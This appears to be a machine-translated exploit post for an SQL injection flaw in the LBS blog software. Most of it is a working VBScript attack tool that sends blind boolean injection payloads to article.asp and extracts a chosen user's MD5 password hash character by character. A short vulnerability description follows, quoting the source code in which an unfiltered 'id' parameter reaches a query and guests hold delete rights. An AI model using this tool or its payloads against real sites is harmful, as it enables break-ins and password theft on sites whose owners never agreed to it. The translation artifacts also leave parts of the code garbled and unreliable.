LBs blog SQL injection vulnerability [All version]

Exp:

'================================================ ============================================
'Usage instructions:
'At the command prompt:
'Cscript.exe lbsblog. vbs: the blog path of the website to be attacked. Valid Article ID: the password of the blog user to be cracked
For example:
'Cscript.exe lbsblog. vbs www.xxxx.com/blog/ 1 1
'By loveshell [B .C. T]
'================================================ ============================================
On Error resume next
Dim oargs
Dim olbsxml'xmlhttp object used to open the target URL
Dim targeturl' target URL
Dim userid, ArticleID 'blog Username
Dim tempstr 'store some obtained MD5 passwords
Dim charhex' defines hexadecimal characters
Dim charset

Set oargs = wscript. Arguments
If oargs. Count <1 then call showusage ()

Set olbsxml = Createobject ("Microsoft. XMLHTTP ")

'Fill in the complete target URL
TargetUrl = oargs (0)
If lcase (left (TargetUrl, 7) <> "http: //" then TargetUrl = "http: //" & TargetUrl
If right (TargetUrl, 1) <> "/" then TargetUrl = TargetUrl &"/"
TargetUrl = TargetUrl & "article. asp"

ArticleID = oargs (1)
Userid = oargs (2)
Tempstr = ""
Charhex = Split (", A, B, C, D, E, F ",",")

Wscript. Echo "lbs blog all version exploit" & vbcrlf
Wscript. Echo "by Jianxin" & vbcrlf
Wscript. Echo "http://www.loveshell.net/just for fun :)" & vbcrlf
Wscript. Echo "+ Fuck the site now" & vbcrlf

Call Main (TargetUrl, blogname)

Set obokexml = nothing

'---------------------------------------------- Sub -------------------------------------------------------
'================================================ =====
'Function name: Main
'Function function: main program, injection to obtain the password of the blog user
'================================================ =====
Sub main (TargetUrl, blogname)
Dim mainoffset, suboffset, templen, Openurl, getpage
For mainoffset = 1 to 40
For suboffset = 0 to 15
Templen = 0
Postdata = ""
Postdata = ArticleID & "and (select left (user_password," & mainoffset & ") from blog_user where user_id =" & userid & ") = '" & tempstr & charhex (suboffset) &"'"
 
Openurl = TargetUrl

Olbsxml. Open "Post", Openurl, false ,"",""
Olbsxml. setRequestHeader "Content-Type", "application/X-WWW-form-urlencoded"
Olbsxml. Send "act = Delete & id =" & escape (postdata)
Getpage = bytestobstr (olbsxml. responsebody)
'Determine whether the accessed page exists
If instr (getpage, "deleted") <> 0 then
'"The blog user does not exist or the entered information is incorrect" indicates an error mark. If this mark is returned, it indicates that the MD5 of the guess is incorrect.
'If you get the MD5 value of 0000000000000000, modify the error flag.
Elseif instr (getpage, "permission") <> 0 then
Tempstr = tempstr & charhex (suboffset)
Wscript. Echo "+ crack now:" & tempstr
Exit
Else
Wscript. Echo vbcrlf & "Something error" & vbcrlf
Wscript. Echo vbcrlf & getpage & vbcrlf
Wscript. Quit
End if
Next
Next
Wscript. Echo vbcrlf & "+ We Got it:" & tempstr & vbcrlf & ": P don't be edevil"
End sub

'================================================ =====
'Function name: bytestobstr
'Function: Convert the content in the XMLHTTP object to gb2312 encoding.
'================================================ =====
Function bytestobstr (Body)
Dim objstream
Set objstream = Createobject ("ADODB. Stream ")
Objstream. type = 1
Objstream. mode = 3
Objstream. Open
Objstream. Write body
Objstream. Position = 0
Objstream. type = 2
Objstream. charset = "gb2312"
Bytestobstr = objstream. readtext
Objstream. Close
Set objstream = nothing
End Function

'==================================
'Function name: showusage
'Function: usage tips
'==================================
Sub showusage ()
Wscript. Echo "lbs blog exploit" & vbcrlf & "by loveshell/Jianxin"
Wscript. Echo "Usage:" & vbcrlf & "cscript" & wscript. scriptfullname & "TargetUrl blogname"
Wscript. Echo "Example:" & vbcrlf & "cscript" & wscript. scriptfullname & "http://www.loveshell.net/1"
Wscript. Echo ""
Wscript. Quit
End sub

Vulnerability description:

In src_article.asp

......
Input ["log_id"] = func. checkint (input ["log_id"]);
If (! Input ["ID"]) {
Strerror = Lang ["invalid_parameter"];
} Else {
// Check if the article exists
TheArticle. Load ("log_id, log_authorid, log_catid", "log_id =" + input ["ID"]);
Strerror = false;
}
......

The log_id is filtered, but the ID is used.

What then?
Code in class/Article. asp

This. load = function (strselect, strwhere ){
VaR tmpa = connblog. Query ("select top 1" + strselect + "from [blog_article] Where" + strwhere );
If (tmpa ){
This. Fill (tmpa [0]);
Return true;
} Else {
Return false;
}
}

I don't need to mention it, huh, huh, but the trigger requires conditions. It cannot be met! Function articledelete (){
If (theuser. Rights ["delete"] <1 ){
// Check user right-without dB Query
Pageheader (Lang ["error"]);
Redirectmessage (Lang ["error"], Lang ["no_rights"], Lang ["Goback"], "javascript: window. history. back (); ", false," errorbox ");
} Else {
VaR theArticle = new lbsarticle ();
VaR strerror;

By default, all guest users have the delete permission. Although some judgment is made later, the injection has already taken place, and we just use his judgment to inject the injection.